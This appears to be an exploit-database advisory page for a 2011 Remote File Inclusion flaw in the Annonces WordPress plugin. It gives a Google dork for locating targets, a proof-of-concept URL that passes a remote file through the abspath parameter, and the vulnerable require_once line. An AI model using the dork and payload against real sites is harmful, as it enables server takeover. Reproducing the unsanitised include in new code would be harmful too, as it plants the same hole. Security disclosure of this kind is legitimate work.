header-logo
Suggest Exploit
vendor:
Annonces
by:
Ben Schmidt
8,8
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Annonces
Affected Version From: 1.2.0.0
Affected Version To: 1.2.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:annonces
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

Annonces WordPress plugin RFI

Annonces Wordpress plugin is vulnerable to a Remote File Inclusion vulnerability. This vulnerability allows an attacker to include a remote file, usually through a malicious URL, and execute it on the vulnerable server.

Mitigation:

Upgrade to the latest version of the plugin.
Source

Exploit-DB raw data:

# Exploit Title: Annonces Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/annonces
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/annonces/download/
# Version: 1.2.0.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/annonces/includes/lib/photo/uploadPhoto.php?abspath=RFI

---
Vulnerable Code
---
require_once($_GET['abspath'] . 'wp-load.php');

Navigation

Suggest Exploit

Services By CQR